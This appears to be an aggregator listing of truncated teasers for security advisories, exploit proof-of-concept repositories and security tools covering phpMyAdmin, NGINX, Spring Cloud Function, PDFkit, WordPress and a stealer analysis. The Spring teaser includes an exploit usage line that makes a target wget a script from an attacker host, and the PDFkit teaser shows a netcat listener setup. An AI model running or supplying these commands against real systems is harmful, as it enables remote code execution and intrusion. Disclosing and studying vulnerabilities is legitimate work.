389-ds-base: 389-ds-base: Command injection via unescaped LDAP DN in Cockpit 389 Console LDAP editor

A flaw was found in 389-ds-base. The Cockpit 389 Console's LDAP editor constructs an ldapsearch command by embedding an LDAP entry's distinguished name DN into a shell command string without proper escaping. An LDAP user with delegated privileges to create or rename directory entries could craft ...

389-ds-base: 389-ds-base: Command injection via unescaped LDAP DN in Cockpit 389 Console LDAP editor

A flaw was found in 389-ds-base. The Cockpit 389 Console's LDAP editor constructs an ldapsearch command by embedding an LDAP entry's distinguished name DN into a shell command string without proper escaping. An LDAP user with delegated privileges to create or rename directory entries could craft ...

Important: Red Hat Security Advisory: 389-ds-base security update

An update for 389-ds-base is now available for Red Hat Directory Server 13.0 EUS for RHEL 10. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for ea...

phpMyAdmin-CVE-2020-5504-Exploit

CVE-2020-5504 phpMyAdmin Security Assessment Tool Authorized security testing and research framework for identifying and validating CVE-2020-5504 in phpMyAdmin deployments Overview · Features · Installation · Usage · Reports · Architecture · Contributing Responsible-use notice: This project is...

Ubiquiti-CVE

Ubiquiti-CVE ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: root@kitploit: git clone cd Project use python follow below Create a virtual...

nginxrift-CVE-2026-42945

NGINX Rift RCE Exploit CVE-2026-42945 from @DepthFirstDisclosures A professional Proof-of-Concept PoC tool for researching and identifying the NGINX Rift vulnerability, a critical heap-based buffer overflow in the ngxhttprewritemodule. Vulnerability Overview CVE ID: CVE-2026-42945 Alias: NGINX Ri...

[SECURITY] Fedora 43 Update: baresip-4.11.0-1.fc43

A modular SIP user-agent with support for audio and video, and many IETF standards such as SIP, SDP, RTP/RTCP and STUN/TURN/ICE for both, IPv4 and IPv6. Additional modules provide support for audio codecs like Codec2, G.711, G.722, GSM, L16 and Opus, audio drivers like ALSA, GStreamer, JACK Audio...

[SECURITY] Fedora 43 Update: GitPython-3.1.61-1.fc43

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing. It provides abstractions of git objects for easy access of repository data, a nd additionally allows you to access the git repository more directly using eith er a...

fickling

Fickling Fickling is a decompiler, static analyzer, and bytecode rewriter for Python pickle object serializations. You can use fickling to detect, analyze, reverse engineer, or even create malicious pickle or pickle-based files, including PyTorch files. Fickling can be used both as a python libra...

umberto

Umberto Umberto is a library designed for mutating generic structured data e.g., JSON, XML, X.509 and a command line application wrapping this functionality. It can apply a variety of mutations, synthesize totally new values, and apply existing mutators e.g. Radamsa to structure components. If...

CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE Exploit This is a python implemetation of Spring4Shell, CVE-2022-22963, affecting services running Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed + Explo...

AcrStealer-Custom-Protocol-Credential-Theft-Payload-Extraction-Analysis

1. Network Connections & SSL/TLS Configuration Process Hacker memory analysis reveals that AcrStealer establishes network connections using SSL/TLS for secure communication with its C2 server. Key Observations: SslClientCert – Uses client certificates for authentication evades detection...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 Detail Description The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized. PoC Start a HTTP server root@kitploit: 1- python3 -m http.server 80 Start a netcat listener root@kitploit: 2- nc -lnvp 'Target Port' Ma...

copyfail-rs

copyfail-rs Multi-vector PoC + paired detection for CVE-2026-31431 CopyFail. Includes a novel PAM auth-bypass vector that no other public PoC ships. Detection mode catches what AIDE / Wazuh / OSSEC / Tripwire structurally cannot. Single static binary. 108 KB. nostd musl. Demo root@kitploit:...

CVE-2023-26852-Textpattern-v4.8.8-and-

CVE-2023-26852-Textpattern-v4.8.8-and version below Textpattern v4.8.8 and Below are vulnerable to Unrestricted File Upload – Dangerous File Content Leading to Remote Code Execution This is my first repo. Don't beat me if i didn't explain well... Textpattern is a free and open-source content...

CVE-2026-46817

cve-id ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: root@kitploit: git clone cd Project use python follow below Create a virtual environment...

CVE-2026-11405

cve-id ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: root@kitploit: git clone cd Project use python follow below Create a virtual environment...

PressVector

🧨 PressVector — WordPress CVE-2026-63030 / CVE-2026-60137 Exploitation Framework ⚡ Advanced Pre-Auth RCE & Blind SQLi Exploitation Framework for WordPress Core 📌 Overview PressVector is a comprehensive, fully automated exploitation framework targeting CVE-2026-63030 and CVE-2026-60137 — two...

CVE-2022-22963

CVE-2022-22963 Educational proof-of-concept automation for CVE-2022-22963, demonstrated in an authorized Hack The Box lab environment. Overview CVE-2022-22963 is a Spring Cloud Function vulnerability involving the spring.cloud.function.routing-expression header. Under vulnerable configurations, a...

NETworkManager v2026.9.7.0

NETworkManager A powerful open-source tool for managing networks and troubleshooting network problems! Streamline and simplify your network administration and troubleshooting with NETworkManager. Connect, monitor, and troubleshoot your network and server infrastructure using built-in tools like...